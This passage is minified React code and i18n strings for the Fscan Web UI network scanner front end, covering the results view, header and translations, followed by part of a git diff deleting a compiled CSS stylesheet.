sm:inline",children:e("clearAll")})]})}),E.jsxs(rz,{children:[E.jsxs(az,{children:[E.jsx(oz,{children:e("clearConfirmTitle")}),E.jsx(lz,{children:e("clearConfirm")})]}),E.jsxs(iz,{children:[E.jsx(cz,{children:e("cancel")}),E.jsx(sz,{onClick:p,className:"bg-destructive text-destructive-foreground hover:bg-destructive/90",children:e("clearAll")})]})]})]})]})]}),E.jsx(Zl,{children:E.jsxs(Qle,{value:i,onValueChange:l,children:[E.jsxs(p3,{className:"h-9 sm:h-10 p-1 bg-muted/50 mb-4",children:[E.jsxs(Ol,{value:"all",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Q6,{className:"w-3.5 h-3.5"}),e("resultsFilterAll")]}),E.jsxs(Ol,{value:"host",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Tb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterHosts")})]}),E.jsxs(Ol,{value:"port",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(_b,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterPorts")})]}),E.jsxs(Ol,{value:"service",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(SM,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterServices")})]}),E.jsxs(Ol,{value:"vuln",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Nb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterVulns")})]})]}),E.jsx(m3,{value:i,className:"mt-0",children:E.jsx(rx,{className:"h-[calc(100vh-420px)] min-h-[400px]",children:c?E.jsx("div",{className:"space-y-3 py-2",children:[...Array(5)].map((S,w)=>E.jsxs("div",{className:"flex items-start gap-3 p-3 rounded-lg border",children:[E.jsx(dc,{className:"w-10 h-10 rounded-lg shrink-0"}),E.jsxs("div",{className:"flex-1 space-y-2",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(dc,{className:"h-5 w-16"}),E.jsx(dc,{className:"h-4 w-32"})]}),E.jsx(dc,{className:"h-4 w-48"})]}),E.jsx(dc,{className:"h-5 w-20 shrink-0"})]},w))}):x.length===0?E.jsx(Vh,{icon:OM,title:e("resultsEmpty"),description:e("resultsEmptyDescription"),className:"py-16"}):E.jsx("div",{className:"space-y-2",children:x.map(S=>{const w=m(S.type),O=S.type?.toLowerCase();return E.jsxs("div",{className:"group flex items-start gap-3 p-3 rounded-lg border bg-background hover:border-foreground/20 hover:bg-muted/30 transition-all",children:[E.jsx("div",{className:"shrink-0 w-8 h-8 sm:w-10 sm:h-10 rounded-lg flex items-center justify-center bg-muted group-hover:scale-105 transition-transform",children:E.jsx(w,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"})}),E.jsxs("div",{className:"flex-1 min-w-0",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(ga,{variant:O,children:y(S.type)}),E.jsx("span",{className:"font-mono text-sm font-medium truncate",children:S.target})]}),S.status&&E.jsx("p",{className:"mt-1 text-sm text-muted-foreground truncate",children:S.status})]}),E.jsxs(ga,{variant:"outline",className:"shrink-0 gap-1 font-mono text-xs",children:[E.jsx(wM,{className:"w-3 h-3"}),new Date(S.time).toLocaleTimeString()]})]},S.id)})})})})]})})]})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx("div",{className:"lg:sticky lg:top-20",children:E.jsx(hue,{results:n})})})]})})}const vue={en:{translation:{appTitle:"Fscan Web UI",appDescription:"Network Security Scanner",navScan:"Scan",navResults:"Results",navSettings:"Settings",scanTitle:"New Scan",scanTarget:"Target",scanTargetPlaceholder:"IP, IP range, domain (e.g., 192.168.1.0/24)",scanPorts:"Ports",scanPortsPlaceholder:"Port range (e.g., 1-1000,3306,8080)",scanPreset:"Preset",scanPresetSelect:"Select preset...",scanMode:"Scan Mode",scanModeAll:"All",scanModeIcmp:"ICMP Only",scanThreads:"Threads",scanTimeout:"Timeout (s)",scanAdvanced:"Advanced Options",scanDisablePing:"Disable Ping",scanDisableBrute:"Disable Brute Force",scanAliveOnly:"Alive Only",scanUsername:"Username",scanPassword:"Password",scanDomain:"Domain",scanExcludeHosts:"Exclude Hosts",scanExcludePorts:"Exclude Ports",scanStartBtn:"Start Scan",scanStopBtn:"Stop Scan",scanRunning:"Scan Running...",statusIdle:"Idle",statusRunning:"Running",statusStopping:"Stopping",statsHosts:"Hosts",statsPorts:"Ports",statsServices:"Services",statsVulns:"Vulnerabilities",resultsTitle:"Scan Results",resultsDistribution:"Results Distribution",chartEmptyTitle:"No data available",chartEmptyDescription:"Statistics will be displayed here after scanning",resultsExport:"Export",resultsClear:"Clear",resultsEmpty:"No results yet",resultsEmptyDescription:"Results will appear here after scanning",resultsFilterAll:"All",resultsFilterHosts:"Hosts",resultsFilterPorts:"Ports",resultsFilterServices:"Services",resultsFilterVulns:"Vulnerabilities",liveFeed:"Live Feed",liveFeedConnected:"Connected",liveFeedDisconnected:"Disconnected",liveFeedEmptyDescription:"Start a scan to see real-time results",settingsTitle:"Settings",settingsLanguage:"Language",settingsTheme:"Theme",settingsThemeLight:"Light",settingsThemeDark:"Dark",settingsThemeSystem:"System",loading:"Loading...",error:"Error",success:"Success",cancel:"Cancel",confirm:"Confirm",close:"Close",items:"items",refresh:"Refresh",clearAll:"Clear all",export:"Export",exportJson:"Export JSON",exportCsv:"Export CSV",targetRequired:"Target is required",startScanFailed:"Failed to start scan",stopScanFailed:"Failed to stop scan",clearConfirmTitle:"Clear Results",clearConfirm:"Are you sure you want to clear all results? This action cannot be undone.",lightMode:"Light mode",darkMode:"Dark mode",typeHost:"host",typePort:"port",typeService:"service",typeVuln:"vuln"}},zh:{translation:{appTitle:"Fscan Web UI",appDescription:"网络安全扫描器",navScan:"扫描",navResults:"结果",navSettings:"设置",scanTitle:"新建扫描",scanTarget:"目标",scanTargetPlaceholder:"IP、IP段、域名 (如: 192.168.1.0/24)",scanPorts:"端口",scanPortsPlaceholder:"端口范围 (如: 1-1000,3306,8080)",scanPreset:"预设",scanPresetSelect:"选择预设...",scanMode:"扫描模式",scanModeAll:"全部",scanModeIcmp:"仅ICMP",scanThreads:"线程数",scanTimeout:"超时(秒)",scanAdvanced:"高级选项",scanDisablePing:"禁用Ping",scanDisableBrute:"禁用爆破",scanAliveOnly:"仅存活检测",scanUsername:"用户名",scanPassword:"密码",scanDomain:"域名",scanExcludeHosts:"排除主机",scanExcludePorts:"排除端口",scanStartBtn:"开始扫描",scanStopBtn:"停止扫描",scanRunning:"扫描进行中...",statusIdle:"空闲",statusRunning:"运行中",statusStopping:"停止中",statsHosts:"主机",statsPorts:"端口",statsServices:"服务",statsVulns:"漏洞",resultsTitle:"扫描结果",resultsDistribution:"结果分布",chartEmptyTitle:"暂无数据",chartEmptyDescription:"扫描后将在此显示统计图表",resultsExport:"导出",resultsClear:"清空",resultsEmpty:"暂无结果",resultsEmptyDescription:"扫描结果将在此显示",resultsFilterAll:"全部",resultsFilterHosts:"主机",resultsFilterPorts:"端口",resultsFilterServices:"服务",resultsFilterVulns:"漏洞",liveFeed:"实时动态",liveFeedConnected:"已连接",liveFeedDisconnected:"已断开",liveFeedEmptyDescription:"开始扫描后将在此显示实时结果",settingsTitle:"设置",settingsLanguage:"语言",settingsTheme:"主题",settingsThemeLight:"浅色",settingsThemeDark:"深色",settingsThemeSystem:"跟随系统",loading:"加载中...",error:"错误",success:"成功",cancel:"取消",confirm:"确认",close:"关闭",items:"条",refresh:"刷新",clearAll:"清空全部",export:"导出",exportJson:"导出 JSON",exportCsv:"导出 CSV",targetRequired:"请输入扫描目标",startScanFailed:"启动扫描失败",stopScanFailed:"停止扫描失败",clearConfirmTitle:"清空结果",clearConfirm:"确定要清空所有结果吗?此操作不可撤销。",lightMode:"浅色模式",darkMode:"深色模式",typeHost:"主机",typePort:"端口",typeService:"服务",typeVuln:"漏洞"}}};hn.use(d6).init({resources:vue,lng:"zh",fallbackLng:"zh",interpolation:{escapeValue:!1}});function gue(){const{t:e,i18n:t}=xo(),[n,r]=v.useState("scan"),[i,l]=v.useState(()=>{if(typeof window<"u"){const c=localStorage.getItem("theme");return c?c==="dark":window.matchMedia("(prefers-color-scheme: dark)").matches}return!1});return v.useEffect(()=>{document.documentElement.classList.toggle("dark",i),localStorage.setItem("theme",i?"dark":"light")},[i]),E.jsx(vq,{children:E.jsxs("div",{className:"min-h-screen bg-background flex flex-col",children:[E.jsx("header",{className:"sticky top-0 z-50 border-b bg-background/95 backdrop-blur-sm",children:E.jsxs("div",{className:"container h-14 sm:h-16 flex items-center justify-between",children:[E.jsxs("div",{className:"flex items-center gap-4 sm:gap-6",children:[E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"flex items-center gap-2 text-foreground hover:opacity-80 transition-opacity",children:[E.jsx("div",{className:"w-7 h-7 sm:w-8 sm:h-8 rounded-lg bg-foreground flex items-center justify-center",children:E.jsx(UA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-background"})}),E.jsx("span",{className:"font-semibold text-base sm:text-lg tracking-tight",children:"fscan"}),E.jsx("span",{className:"text-xs text-muted-foreground font-mono px-1.5 py-0.5 rounded bg-muted hidden sm:inline",children:"v2.1"})]}),E.jsx("div",{className:"h-5 w-px bg-border hidden sm:block"}),E.jsxs("nav",{className:"flex items-center gap-1",children:[E.jsxs(or,{variant:n==="scan"?"default":"ghost",size:"sm",onClick:()=>r("scan"),className:"gap-2",children:[E.jsx(vB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navScan")})]}),E.jsxs(or,{variant:n==="results"?"default":"ghost",size:"sm",onClick:()=>r("results"),className:"gap-2",children:[E.jsx(s0,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navResults")})]})]})]}),E.jsxs("div",{className:"flex items-center gap-1",children:[E.jsx(or,{variant:"ghost",size:"icon",asChild:!0,children:E.jsx("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",title:"GitHub",children:E.jsx(eB,{className:"w-5 h-5"})})}),E.jsx("div",{className:"h-5 w-px bg-border mx-1"}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>t.changeLanguage(t.language==="zh"?"en":"zh"),title:t.language==="zh"?"English":"中文",children:E.jsx(iB,{className:"w-5 h-5"})}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>l(!i),title:e(i?"lightMode":"darkMode"),children:i?E.jsx(_B,{className:"w-5 h-5"}):E.jsx(fB,{className:"w-5 h-5"})})]})]})}),E.jsx("main",{className:"container flex-1 py-3 sm:py-4 lg:py-5",children:n==="scan"?E.jsx(zle,{}):E.jsx(mue,{})}),E.jsx("footer",{className:"border-t py-3 sm:py-4",children:E.jsxs("div",{className:"container flex items-center justify-center gap-2 text-xs sm:text-sm text-muted-foreground",children:[E.jsx(UA,{className:"w-4 h-4"}),E.jsx("span",{children:e("appDescription")}),E.jsx("span",{className:"opacity-40",children:"·"}),E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 hover:text-foreground transition-colors",children:["GitHub",E.jsx(K6,{className:"w-3.5 h-3.5"})]})]})})]})})}k$.createRoot(document.getElementById("root")).render(E.jsx(v.StrictMode,{children:E.jsx(gue,{})})); diff --git a/web/dist/assets/index-CTrwF18n.css b/web/dist/assets/index-CTrwF18n.css deleted file mode 100644 index c9208e22..00000000 --- a/web/dist/assets/index-CTrwF18n.css +++ /dev/null @@ -1 +0,0 @@ -@import"https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@400;500;600&display=swap";*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:IBM Plex Sans,-apple-system,BlinkMacSystemFont,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:IBM Plex Mono,ui-monospace,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}:root{--background: 0 0% 99%;--foreground: 220 14% 10%;--card: 0 0% 100%;--card-foreground: 220 14% 10%;--popover: 0 0% 100%;--popover-foreground: 220 14% 10%;--primary: 220 14% 10%;--primary-foreground: 0 0% 99%;--secondary: 220 13% 95%;--secondary-foreground: 220 14% 10%;--muted: 220 13% 95%;--muted-foreground: 220 9% 46%;--accent: 220 13% 95%;--accent-foreground: 220 14% 10%;--destructive: 0 72% 51%;--destructive-foreground: 0 0% 99%;--border: 220 13% 90%;--input: 220 13% 90%;--ring: 220 14% 10%;--radius: .5rem;--success: 142 71% 45%;--warning: 38 92% 50%;--chart-1: 217 91% 60%;--chart-2: 160 84% 39%;--chart-3: 43 96% 56%;--chart-4: 0 72% 51%;--chart-5: 262 83% 58%}.dark{--background: 220 16% 6%;--foreground: 220 13% 95%;--card: 220 16% 8%;--card-foreground: 220 13% 95%;--popover: 220 16% 8%;--popover-foreground: 220 13% 95%;--primary: 220 13% 95%;--primary-foreground: 220 16% 6%;--secondary: 220 14% 14%;--secondary-foreground: 220 13% 95%;--muted: 220 14% 14%;--muted-foreground: 220 9% 55%;--accent: 220 14% 14%;--accent-foreground: 220 13% 95%;--destructive: 0 62% 50%;--destructive-foreground: 220 13% 95%;--border: 220 14% 16%;--input: 220 14% 16%;--ring: 220 13% 95%;--success: 142 71% 45%;--warning: 38 92% 50%;--chart-1: 217 91% 65%;--chart-2: 160 84% 45%;--chart-3: 43 96% 60%;--chart-4: 0 72% 55%;--chart-5: 262 83% 65%}*{border-color:hsl(var(--border))}html{font-size:15px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media(min-width:640px){html{font-size:16px}}@media(min-width:1024px){html{font-size:17px}}@media(min-width:1280px){html{font-size:18px}}body{background-color:hsl(var(--background));color:hsl(var(--foreground));font-family:IBM Plex Sans,-apple-system,BlinkMacSystemFont,sans-serif;margin:0;line-height:1.6}.container{width:100%}@media(min-width:640px){.container{max-width:640px}}@media(min-width:768px){.container{max-width:768px}}@media(min-width:1024px){.container{max-width:1024px}}@media(min-width:1280px){.container{max-width:1280px}}@media(min-width:1536px){.container{max-width:1536px}}.container{margin-left:auto;margin-right:auto;padding-left:.75rem;padding-right:.75rem}@media(min-width:640px){.container{padding-left:1rem;padding-right:1rem}}@media(min-width:1024px){.container{padding-left:1.5rem;padding-right:1.5rem}}@media(min-width:1280px){.container{padding-left:2rem;padding-right:2rem}}.container{max-width:100%}.field-label{margin-bottom:.375rem;font-size:.75rem;line-height:1rem;font-weight:500;text-transform:uppercase;letter-spacing:.025em;color:hsl(var(--muted-foreground))}.field-input{height:2.5rem;padding-left:.75rem;padding-right:.75rem;font-size:.875rem;line-height:1.25rem}.field-input-mono{height:2.5rem;padding-left:.75rem;padding-right:.75rem;font-family:IBM Plex Mono,ui-monospace,monospace;font-size:.875rem;line-height:1.25rem;font-family:IBM Plex Mono,ui-monospace,monospace}.log-line{display:flex;align-items:center;gap:.75rem;border-radius:calc(var(--radius) - 2px);padding:.375rem .5rem;font-family:IBM Plex Mono,ui-monospace,monospace;font-size:.875rem;line-height:1.25rem;font-family:IBM Plex Mono,ui-monospace,monospace;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.log-line:hover{background-color:hsl(var(--muted) / .5)}.log-time{width:5rem;flex-shrink:0;font-size:.75rem;line-height:1rem;color:hsl(var(--muted-foreground))}@media(min-width:640px){.log-time{font-size:.875rem;line-height:1.25rem}}.log-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:.75rem;line-height:1rem}@media(min-width:640px){.log-target{font-size:.875rem;line-height:1.25rem}}.switch-row{display:flex;align-items:center;justify-content:space-between;border-radius:calc(var(--radius) - 2px);background-color:hsl(var(--muted) / .4);padding:.5rem .75rem;font-size:.875rem;line-height:1.25rem}@keyframes fade-in{0%{opacity:0;transform:translateY(-2px)}to{opacity:1;transform:translateY(0)}}.animate-fade-in{animation:fade-in .15s ease-out}@keyframes slide-up{0%{opacity:0;transform:translateY(4px)}to{opacity:1;transform:translateY(0)}}@keyframes pulse-soft{0%,to{opacity:1}50%{opacity:.6}}.pointer-events-none{pointer-events:none}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.inset-0{inset:0}.left-2{left:.5rem}.left-\[50\%\]{left:50%}.top-0{top:0}.top-\[50\%\]{top:50%}.z-50{z-index:50}.-mx-1{margin-left:-.25rem;margin-right:-.25rem}.mx-1{margin-left:.25rem;margin-right:.25rem}.my-0\.5{margin-top:.125rem;margin-bottom:.125rem}.my-1{margin-top:.25rem;margin-bottom:.25rem}.mb-1{margin-bottom:.25rem}.mb-4{margin-bottom:1rem}.ml-auto{margin-left:auto}.mr-2{margin-right:.5rem}.mt-0{margin-top:0}.mt-1{margin-top:.25rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.block{display:block}.flex{display:flex}.inline-flex{display:inline-flex}.grid{display:grid}.hidden{display:none}.aspect-square{aspect-ratio:1 / 1}.aspect-video{aspect-ratio:16 / 9}.h-10{height:2.5rem}.h-11{height:2.75rem}.h-14{height:3.5rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-52{height:13rem}.h-6{height:1.5rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[120px\]{height:120px}.h-\[160px\]{height:160px}.h-\[180px\]{height:180px}.h-\[1px\]{height:1px}.h-\[calc\(100vh-420px\)\]{height:calc(100vh - 420px)}.h-auto{height:auto}.h-full{height:100%}.h-px{height:1px}.max-h-96{max-height:24rem}.max-h-\[--radix-select-content-available-height\]{max-height:var(--radix-select-content-available-height)}.min-h-0{min-height:0px}.min-h-\[400px\]{min-height:400px}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-1{width:.25rem}.w-10{width:2.5rem}.w-11{width:2.75rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-48{width:12rem}.w-5{width:1.25rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-\[160px\]{width:160px}.w-\[180px\]{width:180px}.w-\[1px\]{width:1px}.w-full{width:100%}.w-px{width:1px}.min-w-0{min-width:0px}.min-w-\[8rem\]{min-width:8rem}.min-w-\[var\(--radix-select-trigger-width\)\]{min-width:var(--radix-select-trigger-width)}.max-w-lg{max-width:32rem}.max-w-sm{max-width:24rem}.flex-1{flex:1 1 0%}.shrink-0{flex-shrink:0}.translate-x-\[-50\%\]{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-\[-50\%\]{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-pointer{cursor:pointer}.touch-none{touch-action:none}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.flex-row{flex-direction:row}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-stretch{align-items:stretch}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-2{gap:.5rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.space-y-0>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(0px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(0px * var(--tw-space-y-reverse))}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.overflow-hidden{overflow:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.rounded{border-radius:.25rem}.rounded-\[2px\]{border-radius:2px}.rounded-\[inherit\]{border-radius:inherit}.rounded-full{border-radius:9999px}.rounded-lg{border-radius:var(--radius)}.rounded-md{border-radius:calc(var(--radius) - 2px)}.rounded-sm{border-radius:calc(var(--radius) - 4px)}.border{border-width:1px}.border-2{border-width:2px}.border-\[1\.5px\]{border-width:1.5px}.border-b{border-bottom-width:1px}.border-l{border-left-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-border\/50{border-color:hsl(var(--border) / .5)}.border-destructive\/50{border-color:hsl(var(--destructive) / .5)}.border-input{border-color:hsl(var(--input))}.border-success\/50{border-color:hsl(var(--success) / .5)}.border-transparent{border-color:transparent}.border-warning\/50{border-color:hsl(var(--warning) / .5)}.border-l-transparent{border-left-color:transparent}.border-t-transparent{border-top-color:transparent}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-background{background-color:hsl(var(--background))}.bg-background\/95{background-color:hsl(var(--background) / .95)}.bg-black\/80{background-color:#000c}.bg-blue-500\/10{background-color:#3b82f61a}.bg-border{background-color:hsl(var(--border))}.bg-card{background-color:hsl(var(--card))}.bg-destructive{background-color:hsl(var(--destructive))}.bg-destructive\/10{background-color:hsl(var(--destructive) / .1)}.bg-emerald-500\/10{background-color:#10b9811a}.bg-foreground{background-color:hsl(var(--foreground))}.bg-muted{background-color:hsl(var(--muted))}.bg-muted\/50{background-color:hsl(var(--muted) / .5)}.bg-popover{background-color:hsl(var(--popover))}.bg-primary{background-color:hsl(var(--primary))}.bg-secondary{background-color:hsl(var(--secondary))}.bg-transparent{background-color:transparent}.fill-current{fill:currentColor}.p-0{padding:0}.p-1{padding:.25rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-6{padding:1.5rem}.p-\[1px\]{padding:1px}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-4{padding-top:1